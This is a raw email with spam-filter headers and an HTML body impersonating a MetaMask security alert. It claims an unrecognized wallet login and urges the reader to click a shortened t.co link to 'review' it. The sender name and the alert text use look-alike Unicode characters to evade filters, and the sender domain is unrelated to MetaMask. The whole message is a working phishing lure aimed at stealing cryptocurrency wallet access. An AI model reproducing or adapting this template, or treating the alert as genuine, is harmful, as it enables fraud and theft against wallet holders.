Envelope-to: sales@certproxywizard.com
Delivery-date: Thu, 05 Jun 2025 05:25:03 +0300
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=968a20dd19.nxcli.io;
  b=TUKjrnH6BVeTju1rrvtvGd8zAwDCaZ+voKaB7F+x5PDzdGWovx9xRA40sydKXPjY4EFpRMfZ+HGhN3FdiSU+eB7e30jhHmwnFnsCmjN32guZTidx+9xeqKE7JqIqnwqMziXi/wXntqPKOW/xVgJ3ztq/YTNk/tWvrWDPz54osvnPMOn4zGtDH3ns7dpM2g/4t8j4r7UMPaL3svaRlIiv9m31IbtfGg/2C3ZoqWB33yOGVYi/e5t+dAgfIeC+uEKP++1PTGq/mAdQRKz1MbZMCMbpbAvQsaWZ5CKD9OwX5wmNc6AwnTYKyzJuPZXeMjIriaIAd1nbXF7qEd4G+8+2pQ==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
Date: 5 Jun 2025 02:24:19 +0000
Message-ID: <20250605022419.31952.qmail@cloudhost-1038826.us-west-1.nxcli.net>
To: sales@certproxywizard.com
Subject: Security Notification
From: "MetaMаsk" <l99n0c23@sew.io>
Reply-To: l99n0c23@sew.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
    
 Content analysis details:   (3.5 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URI: wikimedia.org]
                             [URI: nxcli.io]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [173.249.144.46 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                         [173.249.144.46 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                            [173.249.144.46 listed in bl.score.senderscore.com]
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily valid
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
                             domains are different
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.7 HTML_IMAGE_ONLY_20     BODY: HTML: images with 1600-2000 bytes of words
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 KAM_SHORT              Use of a URL Shortener for very short URL
  2.5 UNICODE_OBFU_ASC       Obfuscating text with unicode
X-Spam-Flag: NO


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>MetаMаsk Ѕесurіtу Аlеrt</title>
  <style>
    body {
      margin: 0;
      padding: 30px 0;
      background-color: #f4f5f7;
      font-family: 'Segoe UI', Arial, sans-serif;
      color: #333;
    }
    .card {
      max-width: 540px;
      margin: auto;
      background-color: #ffffff;
      border-radius: 12px;
      box-shadow: 0 4px 18px rgba(0, 0, 0, 0.06);
      padding: 30px 28px;
    }
    .logo {
      text-align: center;
      margin-bottom: 20px;
    }
    .logo img {
      width: 58px;
    }
    h2 {
      font-size: 22px;
      color: #f6851b;
      text-align: center;
      margin-bottom: 14px;
    }
    p {
      font-size: 15px;
      line-height: 1.6;
      text-align: center;
      margin: 0 0 16px;
    }
    .action {
      text-align: center;
      margin: 28px 0;
    }
    .action a {
      background-color: #f6851b;
      color: #ffffff;
      padding: 12px 30px;
      font-size: 15px;
      font-weight: 600;
      text-decoration: none;
      border-radius: 8px;
      display: inline-block;
    }
    .footer {
      font-size: 12px;
      color: #999;
      text-align: center;
      margin-top: 22px;
      line-height: 1.4;
    }
  </style>
</head>
<body>
  <div class="card">
    <div class="logo">
      <img src="https://upload.wikimedia.org/wikipedia/commons/3/36/MetaMask_Fox.svg" alt="MetаMаsk Logo">
    </div>
    <h2>Unrecognized Lоgіn Attempt</h2>
    <p>Yоur wallet was accessed from a location or device we don’t recognize.</p>
    <p>To protect your assets, please verify this activity immediately.</p>
    <div class="action">
      <a href="https://t.co/cOp25h2WDh?id=-5440893719514921089-7335">🔐 Review Lоgіn</a>
    </div>
    <div class="footer">
      If this was you, no further action is needed.<br>
      Thank you for helping keep your wallet secure.<br><br>
      — MetаMаsk Ѕесurіtу Team
    </div>
  </div>
</body>
</html>